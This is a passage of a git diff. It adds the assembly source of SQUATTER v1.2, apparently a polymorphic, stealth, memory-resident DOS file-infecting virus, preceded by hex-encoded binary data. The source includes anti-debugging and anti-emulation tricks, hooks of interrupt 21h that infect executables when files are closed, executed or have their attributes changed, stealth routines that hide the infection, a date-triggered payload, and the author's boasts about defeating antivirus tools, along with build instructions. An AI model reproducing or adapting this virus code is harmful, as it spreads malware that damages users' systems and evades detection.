db 88,e1,41,41,26,8a,01,aa,e2,fa,eb,a6,ac,08,c0,74,34,3c,01,74 + db 05,88,c1,41,eb,ea,89,fb,83,e7,0f,81,c7,00,20,b1,04,d3,eb,8c + db c0,01,d8,2d,00,02,8e,c0,89,f3,83,e6,0f,d3,eb,8c,d8,01,d8,8e + db d8,e9,72,ff + db '*FAB*' + db 0e,1f,be,58,01,5b,83,c3,10,89,da,31,ff,ac,08,c0,74,16,b4,00 + db 01,c7,8b,c7,83,e7,0f,b1,04,d3,e8,01,c2,8e,c2,26,01,1d,eb,e5 + db ad,09,c0,75,08,81,c2,ff,0f,8e,c2,eb,d8,3d,01,00,75,da,8b,c3 + db 8b,3e,04,00,8b,36,06,00,01,c6,01,06,02,00,2d,10,00,8e,d8,8e + db c0,31,db,fa,8e,d6,8b,e7,fb,2e,ff,2f,13,09,e5,13,17,13,20,05 + db 05,0e,1e,0e,3d,05,14,0f,05,1a,05,06,1e,05,11,08,19,05,11,08 + db 19,05,32,14,0a,0e,10,0a,39,09,20,09,0f,05,08,2d,05,0a,fa,13 + db 00,08,01,00,ef,04,dc,00,01,00 + + diff --git a/s/SQUATTER.ASM b/s/SQUATTER.ASM new file mode 100755 index 0000000..6eee219 --- /dev/null +++ b/s/SQUATTER.ASM @@ -0,0 +1,5443 @@ +;;; +;;; +;;; +;;; ϵ +;;; S Q U A T T E R v 1 . 2 +;;; c o d e d b y +;;; -= The Mental Driller/29A =- +;;; ѵ +;;; +;;; +;;; +;;; +;;;; ENHANCED SQUATTER v1.1 +;;;; BUGS FIXED, ANTI-EMULATING TRICKS INMPLEMENTED, POLYMORPHISM IMPROVED + +;;; Since I'm spanish, my english could suck anytime, so be benevolent with +;; me :) . All labels in the virus are in spanish, and some labels hasn't a +;; normal name, because are "transition" labels. Only the important labels +;; have a name like "@@DesinfectaHandle" ("@@DisinfectHandle" in english), +;; for example. + +;;; This virus started like SQUATTER v1.0. AVP, DSAV, and all that avs can +;; detect it now. Then I modified the source a little bit, without modifying +;; the polymorphism engine, and I looked that DSAV (Dr. Solomon's Anti-Virus) +;; could detect it like "...could be a new virus!". Damn! This av has a really +;; good emulation technique. +;; Then, I said: "Virus always go a step over anti-virus. I MUST do a virus +;; that forces anti-virus to be reprogrammed". That's it! After coding and re- +;; coding certain parts of the virus and the polymorphism engine I reached +;; what I wanted. There are forms of the virus that they aren't recognized +;; like executable code by the antivirus :) , but you can "safelly" run them +;; ("safelly" with quotes because it's a virus, you know :) . + +;;; All accesses to memory and offsets contains a subtract like +;;; MOV [AntInt21h-200h], BX +;;; This "-200h" is because I used an emulation of an infected COM program to +;;; run the virus, and all addresses are related to 200h, which is the initial +;;; delta-offset. So I must subtract this quantity every time. I know it +;;; sucks, but I was too lazy to change it &) +;;; It has anti-heuristics, so, when I call to int 21h, I subtract 10h from +;;; the function number, and this quantity is added on "Int21h" routine (this +;;; routine calls real int 21h). For example, when I use "MOV AX,2D02/CALL +;;; Int21h" I'm calling to function 3D02h of the int 21h. + +;;; Well, let's go with explanations about this virus and what it does: + +;** FEATURES ** + +;;; Now the created decryptor can't be debugged and/or emulated properly if +;; it isn't runned normally. Of course, since the virus is polymorphic, there +;; are situations when the decryptor could be traced with a debugger/emulator. +;; Moreover, there are four different algorithms to decrypt (normal loop, loop +;; of loops, etc.) and coprocessor garbage instructions, indexed memory +;; writes, etc. + +;;; SQUATTER v1.0 had bugs on installation that made that virus a bit unstable +;; in some systems. Now these bugs are fixed, and a new residency routine has +;; been stablished. Now it handles correctly UMBs and MCBs (since non-publi- +;; shed version 1.1). + +;;; The virus catch 26 functions of the int 21h. 18 are used for the stealth +;; (they were 19, but handling function 40h the virus doesn't work properly, +;; so it has been disabled), 6 for infecting and 2 miscellaneous (function 1Ah +;; to go faster on DIR stealth and function 30h like install check). + +;;; FCB dis/infection is now implemented. I realized that DOS uses FCB to de- +;; lete files. If you delete any infected file and you recover it with "UNDE- +;; LETE" or similars, the non-stealthed size of the archive is shown. Then I +;; had to code a routine for disinfecting FCB on deleting files. Since disin- +;; fection on deletion is the same than disinfection on opening, I supported +;; FCB disinfection on opening too. In the same way, infection on FCB closing +;; is supported. + +;; During the installation the virus does: +;; * It checks the DOS version. If the virus isn't resident, it would be exe- +;; cuted normally. If it is resident, when it returns from the interruption +;; all the residency process will be avoided, returning directly to the label +;; "@@FinInstalacion". Before doing it, the virus in memory will check all +;; the code that follows to the return pointer, and if it is the virus, the +;; quantity of bytes necessary to go to the end of the installation will be +;; added to the return pointer. It is made to avoid certain lamer antivirus +;; which checks memory for virus calling the install-check functions. +;; * It searchs the last UMB in memory (which normally is the DOS UMB of free +;; upper memory) and subtract the quantity of memory the virus needs (if it +;; is big enough, of course). If the UMB isn't big enough or the system can't +;; hold UMBs for any reason, the virus will install via MCBs. +;; * The int 21h will be traced with the int 30h trick. If it fails, int 21h +;; will be traced with single-step tracing. +;; * It will patch the pointers in memory to the real int 21h, to avoid wri- +;; ting on the TVI and/or avoid patching the first 5 bytes with a +;; JMP XXXX:XXXX, because the dis/infection system of the virus can't hold +;; that method. +;; * It recovers the original values of execution in the registers when it +;; executes the host (a little work to improve the stealth). + +;; Using int 21h, the virus is practically invisible to the system. Moreover, +;; it's a fast-infector. +;; Infection functions: +;; * 3Eh - Close handle +;; * 10h - Close FCB +;; * 4Ch, 00h - Terminate execution (int 20h calls to AH=00/INT 21h inter- +;; nally). +;; * 31h - TSR +;; * 43h - Get/set attributes. +;; Stealth functions: +;; * 11h, 12h - Search for directory entries (FCB) +;; * 4Eh, 4Fh - Search for directory entries (Handle) +;; * 23h - Get file size (FCB) +;; * 3Dh, 6Ch - Open file (Handle) +;; * 0Fh - Open file (FCB) +;; * 3Fh - Read from handle +;; * 40h - Write on handle (set off by problems) +;; * 41h - Delete file (Handle) +;; * 13h - Delete file (FCB) +;; * 42h - Handle pointer seek +;; * 4Bh - Program execution +;; * 57h - Get/set time and date from/to a handle +;; * 25h - Set interrupt vector +;; * 35h - Get interrupt vector +;; * 44h - IOCTL functions +;; Internal functions: +;; * 30h - Install-check (anti-lamers) +;; * 1Ah - Set new DTA address + +;;; POLYMORPHISM + +;; I've tried to do an "as-powerful-as-I-can" engine, but you know, our sons +;; and daughters are always the most handsome, the most clever... :) . So, I +;; can't be objective at all when I say that the engine is one of the good +;; ones (I think). The created decryptor contains CALLs, un/conditional JMPs +;; with non-zero displacement, conditional JMPs to invalid code, anti-emula- +;; ting and anti-debugging code, indexed memory writes and LOTS of weird +;; 8/16/32 bit garbage, including coprocessor ones with memory read/write +;; instructions. The virus is also non-static sized(!), but the stealth works +;; fine :) . It would be sufficient with only a decryptor, but I wanted to +;; fuck avers, so I put 2! :) and later I added a semi-polymorphic decryptor +;; (just a little 22 bytes maxsized). However, I did the sufficient stuff to +;; make AVers to recode their emulation programs if they want to detect this +;; virus properly. + +;;; This virus is my first and my last one in DOS that I release like this +;;; one. Next ones will be Win32, but first I wanted to finish it because +;;; I had on mind sine I begin with the viruses to do a virus like the +;;; Squatter and a engine like the MeDriPolEn. But remember: it's the last +;;; one DOS-exclusive virus that I make. + +;;; Well, I think it's all. If you look at the code, you will see many things +;; that I hadn't say here, but they are interesting. + +;;;; THANKS TO: + +;;; 29A : I thought before join them that 29A was one of the best groups in +;;; the scene actually, and now I think is one of the best along the +;;; viruscene history! :) +;;; VLAD : For the great idea of using the system handles to manage the opera- +;;; tions of dis/infection (look the "FakeHandle" routine to know what +;;; I'm saying). Of course, they keep on being a legend! +;;; PS: I don't know if you'll read this, but this group was the one that in- +;;; troduced me in the viruscene, specialy Dark Angel. Greetz!. +;;; +;;; All that groups that intend to revitalize the scene with new ideas and +;;; don't get stalled with the new technologies, demostrating their talent. +;;; +;;; And greets to all those individuals (being in groups or not) in the IRC +;;; #virus channel where we joke and talk, and that other ones that I know +;;; personally. U know who u r! :) +;;; +;;; Well, eeemh... oh, YES! Thanks to you, for reading this. + +;;; To assemble this: +;; TASM /m29A /mu squatter.asm +;; TLINK /x /t squatter.obj + +;;; Now, enjoy :) + +;; The Mental Driller +;; The limit of virus making exists only +;; in the mind of antivirus makers + +.MODEL TINY ; Not tiny at all! :) (the virus' size is more than 9 Kb!) +LOCALS @@ +.386 ; Sorry 286ers :) +.CODE ; Let's start! + +;;; EQUATES +;; "Longvirus" is the clean virus size. +;; "LongVirusP" is the amount of memory that the virus needs. +;; "LongVirus2" is the static size of the virus (without random increasement) +;; "LongCheck" is the amount of bytes that the install-check routine must +;; avoid when returns, to jump directly to the end of the installation +;; process. +;; "Palabro" is to save bytes, to put one 32 bits instruction instead of two +;; 16 bits instructions. +;; "DededeMerde" is to put a value inside a LEA Reg,[Reg-(NewVirus-200h)], +;; because TASM doesn't allow that (WHY???) + +LongVirus EQU Offset FinVirus - Offset InicioVirus + 2 +LongVirusP EQU ((LongVirus / 16) + 2) * 2 + 50h + 1 +LongVirus2 EQU LongVirus + 500 +LongCheck EQU Offset FinChequeo - Offset InicioChequeo +Palabro EQU (LongVirusP*10000h)+0008h +DededeMerde EQU - (offset NewVirus - 200h) + + ORG 100h ; A COM file will be created. + +Squatter PROC + JMP @@Inicio ; This code emulates an infected file + INT 21h + DB 0FBh DUP (0) + +InicioVirus LABEL WORD + DB 16h DUP (90h) ; Space where the little "semipoly" de- + ; cryptor is. +@@Inicio: MOV SI, 200h ; Delta-offset in SI + + XOR BX, BX ; Let's go with some anti-emulation / + db 26h ; anti-debugger + MOV AX, [BX] + XOR AX, 20CDh + JZ @@S_I_0 + @@Fuera: MOV AH, 4Ch + INT 21h + @@S_I_0: XOR DX, DX + IN AL, DX + PUSHF + POP AX + TEST AH, 1 + JNZ @@Fuera + PUSH SI + MOV BP, SP + POP SI + CMP [BP], SI +Truco1 LABEL WORD ; Anti-debugger. If this jmp is + JNZ @@CopiaVirus ; patched, the next code doesn't work + + ; Reset coprocessor (random copro ins- + ; tructions used during decryption) + WAIT + db 0DBh, 0E3h ; instruction: "fninit" + JMP Truco_Salto ; This fuck heuristics. It jumps to + ; the end of the virus, sets AH=30h + ; and jump again to here. +Retorno_Truco: SEGCS ; Execute int 21h anyway + INT 21h +InicioChequeo LABEL WORD + CMP AL, 05h ; DOS < 5.0 ? +Truco2 LABEL WORD + DB 0CDh, 03 ; Anti-debugging (weird!) :) + JB @@FinInstalacion ; If < 5.0, ends + +;; OK, this is the UMB installation routine. It uses the technic of MCBs, but +;; applied to UMBs. To do that, you must know that the last UMB always belong +;; to DOS, and this UMB is the free upper memory, so, if you steal some memory +;; from this UMB, you don't overwrite any resident program. + + XOR DI, DI ; DI = 0 + MOV AH, 52h ; Get list of lists + SEGCS + INT 21h + LDS BX, ES:[BX+12h] ; Get buffers area address + MOV AX, DS:[BX+1Fh] ; Segment of the first UMB in AX + CMP AX, 0FFFFh ; Are there UMBs? + JZ @@PorMCBs1 ; If not, use traditional methods +@@SiguienteUMB: MOV DS, AX ; DS = segment of the first UMB + CMP BYTE PTR [DI], 'Z' ; Is it the last UMB? + JZ @@PruebaInst ; If it is, end searching + MOV BX, [DI+03] ; BX = Size of this UMB + INC AX ; Add MCB size + ADD AX, BX ; Get in AX the segment of the next UMB + JMP @@SiguienteUMB ; Repeat +@@PruebaInst: CMP WORD PTR [DI+03], LongVirusP ; Is the UMB large + ; enough? + JBE @@PorMCBs1 ; If not, go to the traditional method + ADD AX, [DI+03] ; Get last segment occupied by the UMB + SUB AX, LongVirusP ; Subtract virus size + MOV ES, AX ; Put this segment in ES + SUB WORD PTR [DI+03], LongVirusP ; Subtract virus size to + ; UMB's MCB + JMP @@CopiaVirus ; Jump to copy routine + +;; This is the "traditional" method of MCBs. It's used when the routine above +;; fails + +@@PorMCBs1: DB 0CDh, 03h ; Anti-debugging + POP DS ; Recover DS + PUSH DS + MOV AX, DS ; Get segment of MCB in ES + DEC AX + MOV ES, AX + CMP BYTE PTR ES:[0000], 'Z' ; Last UMB? + JNZ @@FinInstalacion ; If not, end instalation + DB 0CDh, 03h ; Anti-debugger :) + MOV AX, WORD PTR CS:[SI+Offset @@PorMCBs1-200h] ; More an- + XCHG AH, AL ; ti-debugger! + XOR AH, AH ; The same + MOV DI, AX ; At the end, DI = 0003 ... + MOV BL, BYTE PTR CS:[SI+Truco1-200h] ; ... and BX = 000F + XOR BH, BH + SUB WORD PTR ES:[DI], LongVirusP + 1 ; Steal memory + SUB WORD PTR ES:[DI+BX], LongVirusP + 1 + MOV BYTE PTR ES:[0000], 'M' + MOV ES, ES:[DI+BX] ; Get segment of the hole + MOV BYTE PTR ES:[DI-03], 'Z' ; Create an UMB + MOV DWORD PTR ES:[DI-02], Palabro + ; MOV WORD PTR ES:[DI-02], 0008h + ; MOV WORD PTR ES:[DI], LongVirusP + MOV DWORD PTR ES:[DI+5], 00004353h + + MOV AX, ES ; Get segment where the virus will be + INC AX ; allocated + MOV ES, AX + +@@CopiaVirus: PUSH CS ; DS=CS + POP DS + XOR DI, DI ; DI=0 + PUSH SI ; Save SI + MOV CX, LongVirus ; CX=Size of clean virus + CLD ; Fowards + CALL RepMovsb ; Copy virus + POP SI ; Recover SI + PUSH ES ; DS=reserved segment + POP DS + MOV AX, 3521h ; Get int 21h interrupt vector + SEGCS + INT 21h + MOV [AntInt21h-200h], BX ; Save it here +Truco3: MOV [AntInt21h-200h+2], ES + + PUSH CS ; Put CS onto stack + LEA AX, [SI+Offset VuelvedeMem-200h] ; AX=Return address + PUSH AX ; Put it onto stack + PUSH DS ; Jump to the copy of the virus in + PUSH Offset SaltoaMem-200h ; memory... + DB 0CDh, 03h ; Anti-debugging + RETF ; ...then jump... + +SaltoaMem LABEL WORD ; ...here! + MOV BYTE PTR CS:[InstalacionPoli-200h], 0 ; Set this to 0 + ; to indicate that random seed + ; must be actualized + MOV AH, 2Fh ; Get DTA address + SEGCS + INT 21h + MOV [DirecDTA-200h], BX ; Save it here + MOV [DirecDTA-200h+2], ES + MOV AX, 1600h ; Check for Windows + SEGCS + INT 2Fh + OR AL, AL ; If Windows is active, jump + JNZ @@WindowsActivo + CALL TrazaPorINT30h ; Now, let's go trace int 21h + JNC @@Sigue001 ; If int 21h could be traced, jump + +;; Single-step tracing + MOV AX, 3501h ; Get int 01 vector + SEGCS + INT 21h + MOV WORD PTR [Ptr01-200h], BX ; Save it + MOV WORD PTR [Ptr01-200h+2], ES + MOV EAX, DWORD PTR [AntInt21h-200h] ; Get int 21h address + MOV DWORD PTR [Puntero3-200h], EAX ; Put it on "Puntero3" + XOR AX, AX ; ES = 0 + MOV ES, AX + CLI ; Set int 1 to "NewInt01h" + MOV WORD PTR ES:[0004], Offset NewInt01h - 200h + MOV WORD PTR ES:[0006], CS + STI + PUSHF ; Active Trap-Flag + POP AX + OR AH, 01h + PUSH AX + POPF + MOV AH, 30h ; Call DOS function (do-nothing) + PUSHF + CALL DWORD PTR [AntInt21h-200h] + PUSHF ; Set off Trap-Flag + POP AX + AND AH, 0FEh + PUSH AX + POPF + MOV AX, WORD PTR [Ptr01-200h] ; Recover true int 1 + MOV BX, WORD PTR [Ptr01-200h+2] + CLI + MOV WORD PTR ES:[0004], AX + MOV WORD PTR ES:[0006], BX + STI +@@Sigue001: + PUSH CS ; Put in ES:DI the address of our int 21h + POP ES + MOV DI, Offset NewInt21h - 200h + LDS BX, DWORD PTR CS:[Puntero3-200h] ; Load in DS:BX the + ; traced address + CLI ; Set new int 21h, changing values in + MOV [BX], DI ; traced interrupt and not in TVI or + MOV [BX+02], ES ; patching bytes with a JMP + STI + ; Construct a 32 bit int 24h jump in "BytesInt24h" +@@SigueInstal: MOV BYTE PTR CS:[BytesInt24h-200h], 0EAh + MOV WORD PTR CS:[BytesInt24h-200h+1], \ + Offset ProgramaInt24h-200h + MOV WORD PTR CS:[BytesInt24h-200h+3], CS + ; Put 2 IRETs in this direction + MOV WORD PTR CS:[ByteInt1Bh-200h], 0CFCFh + MOV BYTE PTR CS:[ByteInt2Ah-200h], 0CFh + + MOV AH, 1Ah ; Get date + CALL Int21h + PUSH CS ; CS = DS + POP DS + CMP DX, 0518h ; Is 24/05? (random date :) ) + JZ PayLoad ; If it is, jump to the payload + MOV BYTE PTR [Desinfeccion-200h], 2 ; Put a 2 here + MOV AH, 4Ch + CALL NewInt21h + RETF ; Return to the virus in the host +@@WindowsActivo: + XOR AX, AX ; Change TVI directly with windows + MOV ES, AX + MOV WORD PTR ES:[0084h], Offset NewInt21h - 200h + MOV WORD PTR ES:[0086h], DS + JMP @@SigueInstal + +VuelvedeMem LABEL WORD +FinChequeo LABEL WORD ; When the virus is in memory and install-check + ; routine is used, it returns here directly +@@FinInstalacion: + POP ES ; Recovers ES and DS from stack + POP DS + CMP BYTE PTR CS:[SI+TipoEjec-200h], 01 ; Is EXE? + JZ @@EsunEXE ; Then jump to EXE reinitialization +;;; Host is a COM + @@EsunCOM: PUSH CS ; Put CS onto stack + MOV DI, 0100h ; DI = 100h + PUSH DI ; Put 100h onto stack + ADD SI, Offset Los3bytes-200h ; SI=Address of the three + ; saved bytes + CLD ; Fowards + MOVSW ; Recover this 3 overwritten bytes + MOVSB + MOV SI, 100h ; Put original value of SI in a COM +;;; Now it recovers initial register values of execution + @@Salll: MOV DI, SP ; DI=initial SP + ADD DI, 0004 + XOR AX, AX ; AX=BX=0 + XOR BX, BX + MOV CX, 00FFh ; CX=00FF + MOV DX, ES ; DX=Segment of PSP + MOV BP, 091Ch ; BP=091C + RETF ; Executes host +;;; Host is an EXE + @@EsunEXE: MOV AX, ES ; AX=Initial segment of the EXE in memory + ADD AX, 0010h + ADD WORD PTR CS:[SI+InicSS-200h], AX ; Calculate original + ADD WORD PTR CS:[SI+InicCS-200h], AX ; CS and SS + CLI ; Set specified-in-header + MOV SS, CS:[SI+InicSS-200h] ; SS:SP + MOV SP, CS:[SI+InicSP-200h] + STI + PUSH WORD PTR CS:[SI+InicCS-200h] ; Put CS onto stack + MOV SI, CS:[SI+InicIP-200h] ; SI=Initial offset + PUSH SI ; Put SI onto stack + JMP @@Salll ; Recover all registers and execute + ; host +Squatter ENDP ; End of installation routine + +;;; Little DATA section + +Los3bytes DB 0B8h, 00, 4Ch ; First three bytes in a COM +SaltoCOM DB 0E9h, 00, 00 ; It is used when constructing the ini- + ; tial JMP in a COM +InicIP DW 0 ; Data to execute EXE hosts +InicCS DW 0 +InicSS DW 0 +InicSP DW 0 + +;; Procedure to copy (it emulates a REP MOVSB) + +RepMovsb PROC + PUSH AX ; Save AX + @@Loop01: MOV AL, DS:[SI] ; Get byte from DS:SI + MOV ES:[DI], AL ; Copy byte to ES:DI + DB 0CDh, 03h ; Anti-debugger + INC SI ; Increase pointers + INC DI + LOOP @@Loop01 ; Repeat CX times + POP AX ; Recover AX + RET ; Return +RepMovsb ENDP + +;; Used for memory writes for the polymorphic engine +Basura4 dw 0 + +;; Procedure to trace int 21h via int 30h trick +TrazaporINT30h PROC + XOR AX, AX ; Get address of 32 bit jump in int 30h in + MOV ES, AX ; ES:BX + MOV BX, ES:[00C1h] + MOV ES, ES:[00C3h] + CMP WORD PTR ES:[BX], 9090h ; Check if the first two by- + JNZ @@SalconCARRY ; tes are a double NOP. If not, exit + CMP BYTE PTR ES:[BX+2], 0E8h ;Check if a CALL follows them + JNZ @@SalconCARRY ; If not, exit + SUB BX, 0032h ; Subtract 32h to get int 21h entrypoint + CMP WORD PTR ES:[BX], 9090h ; Check if there are two NOPs + JNZ @@SalconCARRY ; If not, exit + CMP BYTE PTR ES:[BX+2], 0E8h ; Does CALL instruction fo- + ; llow them? + JNZ @@SalconCARRY ; If not, exit + CMP WORD PTR ES:[BX+6], 2EFFh ; Is there a CS:JMP FAR...? + JNZ @@SalconCARRY ; If not, exit + MOV BX, ES:[BX+08h] ; Get address where pointer + ; to int 21h is stored + MOV WORD PTR CS:[Puntero3-200h], BX ; Store it in Puntero3 + MOV WORD PTR CS:[Puntero3-200h+2], ES + LES BX, ES:[BX] ; Load pointer to int 21h + MOV WORD PTR CS:[AntInt21h-200h], BX ; Store it onto + MOV WORD PTR CS:[AntInt21h-200h+2], ES ; "AntInt21h" + CLC ; Clear Carry Flag and exit + RET +@@SalconCARRY: STC ; Set Carry Flag and exit + RET +TrazaporINT30h ENDP + +;; More words to memory writing on poly engine +Basura3 dw 0 + +;;;;;;; New interruption 01h (to trace interrupts) + +NewInt01h PROC + PUSH DX ; Save going-to-be-used registers + PUSH AX + PUSH SI + PUSH DS + PUSH CX + PUSH BP + XOR DL, DL ; DL=0 (exit with IRET, not RETF) + MOV BP, SP + MOV AX, [BP+0Eh] ; Get current segment + MOV CX, CS ; Check if it is the virus + CMP AX, CX + JZ @@Fin1 ; If it is, return from interrupt + MOV DS, AX ; Put segment in DS + MOV SI, [BP+0Ch] ; Get IP on SI + CLD ; Load a byte + LODSB + PUSH SI ; Save SI + CMP AL, 9Ch ; Check if next instruction is PUSHF + JNZ @@Siguiendo1 ; If not, jump + INC WORD PTR [BP+0Ch] ; Avoid PUSHF + MOV DL, 01 ; Set return with RETF + JMP @@Acaba +@@Siguiendo1: CMP AL, 9Dh ; Check if next instruction is POPF + JNZ @@Siguiendo2 ; If not, jump + OR WORD PTR [BP+12h], 0100h ;Set Trap-Flag in stack value + JMP @@Acaba ; Jump +@@Siguiendo2: CMP AL, 0CFh ; Check if next instruction is IRET + JNZ @@Siguiendo3 ; If not, jump + OR WORD PTR [BP+16h], 0100h ;Set Trap-Flag in stack value + JMP @@Acaba ; Jump +@@Siguiendo3: CMP AL, 2Eh ; Check if next instruction is CS: + JNZ @@Siguiendo4 ; If not, jump + LODSW ; Load next two bytes in AX + JMP @@Siguiendo5 +@@Siguiendo4: XCHG AH, AL ; Load next byte in AH + LODSB + XCHG AH, AL +@@Siguiendo5: CMP AX, 2EFFh ; Check if a JMP FAR follows + JZ @@EsJMPFAR ; If it is, jump to @@EsJMPFAR + CMP AX, 1EFFh ; Check if a CALL FAR follows + JZ @@EsJMPFAR ; If it is, jump to @@EsJMPFAR + CMP AL, 0EAh ; Check if a JMP ????:???? follows + JZ @@EsJMP32 ; If it is, jump to @@EsJMP32 + CMP AL, 09Ah ; Check if a CALL ????:???? follows + JNZ @@Acaba ; If it isn't, end +@@EsJMP32: DEC SI ; Decrement SI to get address of JMP/CALL + MOV CS:[Puntero2-200h], SI ; Save address on Puntero2 + MOV CS:[Puntero2+2-200h], DS + JMP @@Acaba ; Jump +@@EsJMPFAR: LODSW ; Get memory index + MOV CS:[Puntero2-200h], AX ; Save address on Puntero2 + MOV CS:[Puntero2+2-200h], DS + +@@Acaba: POP SI ; Recover SI + MOV AX, DS ; Put current segment in AX + CMP WORD PTR CS:[AntInt21h+2-200h], 0F000h ; Check if BIOS + ; or DMA + JAE @@Fin1 ; If it's BIOS or DMA, we've got it + CMP AX, WORD PTR CS:[AntInt21h+2-200h] ; Compare this seg- + ; ment with stored one + JZ @@Fin1 ; If it is the same, end + CMP AX, 0F000h ; Is segment allow or equal to BIOS seg.? + JAE @@Salto ; If it is, jump + CMP AX, WORD PTR CS:[AntInt21h+2-200h] ; Compare segment + ; with stored one + JA @@Fin1 ; If it's greater, end + @@Salto: DEC SI ; Decrement SI to get current CS:IP in + ; AX:SI + PUSH AX ; Save AX + MOV AX, CS:[Puntero2-200h] ;Save in Puntero3 the address + MOV CS:[Puntero3-200h], AX ; on Puntero2 + MOV AX, CS:[Puntero2+2-200h] + MOV CS:[Puntero3+2-200h], AX + POP AX ; Recover AX + MOV WORD PTR CS:[AntInt21h-200h], SI ; Save new int 21h + MOV WORD PTR CS:[AntInt21h+2-200h], AX ; address + @@Fin1: POP BP ; Recover registers + POP CX + POP DS + POP SI + POP AX + CMP DL, 01 ; IRET or RETF? + JZ @@Fin2 ; Let's go with RETF + POP DX + IRET + @@Fin2: POP DX + RETF +NewInt01h ENDP + +;; More memory write zones +Basura1 dw 0 + +;;;;;;;;; PAYLOAD AND IDENTIFICATION OF THE VIRUS + +Mensaje DB 0, "Squattering your system has become by hobbie :)", 0Dh, 0Ah +Mensaje2 DB 0, '-SQUATTER v1.2- Coded by The Mental Driller/29A', 0 + +;; Memory write zone +Basura2 dw 0 + +;;; AMAZING PAYLOAD! +;;; It puts on screen "Squattering your system has become my hobbie :)" and +;;; plays with the second chain displaying a colorful weird composition on +;;; screen :). +;;; It rocks, due to the thing it does and the size it has. + +Payload PROC + MOV AX, 0003 ; Blank screen + INT 10h + PUSH CS ; DS equal to CS + POP DS + MOV AX, 0B800h ; ES=Text mode video segment + MOV ES, AX + @@Premio: MOV AH, 15h ; Color value + MOV CX, 0047d ; Put first chain + MOV SI, Offset Mensaje - 200h + MOV DI, 0006 + @@Loop1: LODSB + STOSW + LOOP @@Loop1 + +;; Trippy starts! XD + @@Premio2: PUSH ES ; Save ES + XOR AX, AX ; ES=0 + MOV ES, AX + MOV AX, ES:[046Ch] ; Get timer value + ROL AX, 3 ; Multiply it by 8 + XOR AX, ES:[046Ah] ; XOR it with first timer value + IN AL, 40h ; Get another timer value in AL + POP ES ; Recover ES + ; All this code is to get a value that + ; changes slightly every time, and af- + ; ter a few seconds performs a "jump" + ; of bigger value + AND AX, 0FFEh ; Set off 4 top bits and the lowest bit + MOV DI, AX ; Put this value on DI + MOV CX, 0048d ; Copy the second chain on ES:DI, with + MOV SI, Offset Mensaje2 - 200h ; color AL + @@Loop2: LODSB + STOSW + LOOP @@Loop2 + JMP @@Premio ; Repeat all over and over again +Payload ENDP + +Basura5 dw 0 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;; NEW INTERRUPTION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; It handles lots of functions. The virus will infect archives if you use FCB +;; functions, too. Well, I wanted to do it extremely infectious :) + +NewInt21h PROC + PUSH BP ; To avoid tracing (it can be patched, so + PUSH AX ; it's only basic protection instructions) + MOV BP, SP + POP AX + CMP AX, [BP] + POP BP + JZ @@Continua001 + PUSH BP ; Fuck tracer :) + RETF +@@Continua001: CMP AH, 30h ; Install check? + JNZ @@SigueInt ; If not, continue + +@@InstallCheck: PUSHA ; Save all registers + PUSH DS + PUSH ES + MOV BP, SP ; Get on ES:DI the address of return to + LES DI, DWORD PTR SS:[BP+14h] ; the calling program + PUSH CS ; Get on DS:SI the same position it would + POP DS ; be if the calling program is the virus + MOV SI, Offset InicioChequeo-200h + MOV CX, LongCheck + CLD ; Check virus and program + REPZ CMPSB + JCXZ @@CheckOK ; If CX reached 0 value, the calling pro- + ; gram is the virus + POP ES ; If not, execute real int 21h + POP DS + POPA + JMP @@FinInt21h +@@CheckOK: ADD WORD PTR [BP+14h], LongCheck ; Add displacement to re- + POP ES ; turn value and return + POP DS + POPA + IRET + + @@SigueInt: CMP AH, 4Ch ; Terminate program? + JZ @@Infecta ; If it is, infect it! + OR AH, AH ; Terminate program? + JZ @@Infecta ; If it is, infect it! + CMP AH, 31h ; Terminate program? + JZ @@Infecta ; If it is, infect it! :) + CMP AH, 44h ; IOCTL Handle functions? + JZ @@FuncionesIOCTL ; If it is, stealth it! + CMP AH, 1Ah ; Set new DTA? + JZ @@NuevoDTA ; If it is, jump + CMP AH, 3Eh ; Close handle? + JZ @@InfectaHandle ; If it is, infect handle! + CMP AH, 10h ; Close FCB? + JZ @@InfectaFCB ; If it is, infect FCB! + CMP AH, 43h ; Get/set attributes? + JZ @@InfectaAtributos ; If it is, infect file! + CMP AH, 25h ; Set interrupt vector? + JZ @@FijarVector ; If it is, jump + CMP AH, 35h ; Get interrupt vector? + JZ @@ObtenerVector ; If it is, jump + CMP AX, 5701h ; Get date/time from a handle? + JZ @@HoraFechaHandle ; If it is, jump + CMP AH, 41h ; Delete file via handle? + JZ @@DesinfectaHandle ; Disinfect file, then + CMP AH, 13h ; Delete file via FCB? + JZ @@DesinfectaFCB ; Disinfect file, then + CMP BYTE PTR CS:[NoStealth-200h], 1 ; Avoid stealth? + JZ @@FinInt21h ; If yes, jump and end + CMP AH, 10h ; Get first/next directory entry (FCB)? + JBE @@Salto0001 + CMP AH, 13h + JB @@StealthDIR ; If it is, stealth it! +@@Salto0001: CMP AH, 4Dh ; Get first/next directory entry (handle)? + JBE @@Salto0002 + CMP AH, 50h + JB @@StealthDIR ; If it is, stealth it! +@@Salto0002: CMP AH, 4Ah ; Execute program? (4Bh) + JBE @@Salto0000 + CMP AH, 4Ch + JB @@DesinfectaHandle ; If it is, disinfect file +@@Salto0000: CMP AH, 3Dh ; Open file via handle? + JZ @@DesinfectaHandle ; Disinfect file, then + CMP AH, 6Ch ; Open file via handle? + JZ @@DesinfectaHandle ; Disinfect file, then + CMP AH, 0Fh ; Open file via FCB? + JZ @@DesinfectaFCB ; Disinfect file, then + CMP AX, 5700h ; Get date/time from handle? + JZ @@HoraFechaHandle ; Then, stealth it! + CMP AH, 3Fh ; Read from handle? + JZ @@LeeHandle ; If it is... stealth it! + ; CMP AH, 40h ; Prepared for write to handle, but + ; JZ @@EscribeHandle ; due to problems it has been set off + CMP AH, 42h ; Pointer seek on handle? + JZ @@StealthPuntero ; If it is, stealth it! + CMP AH, 23h ; Get file size via FCB? + JZ @@TamanyoArchivoFCB ; If it is, stealth it! + 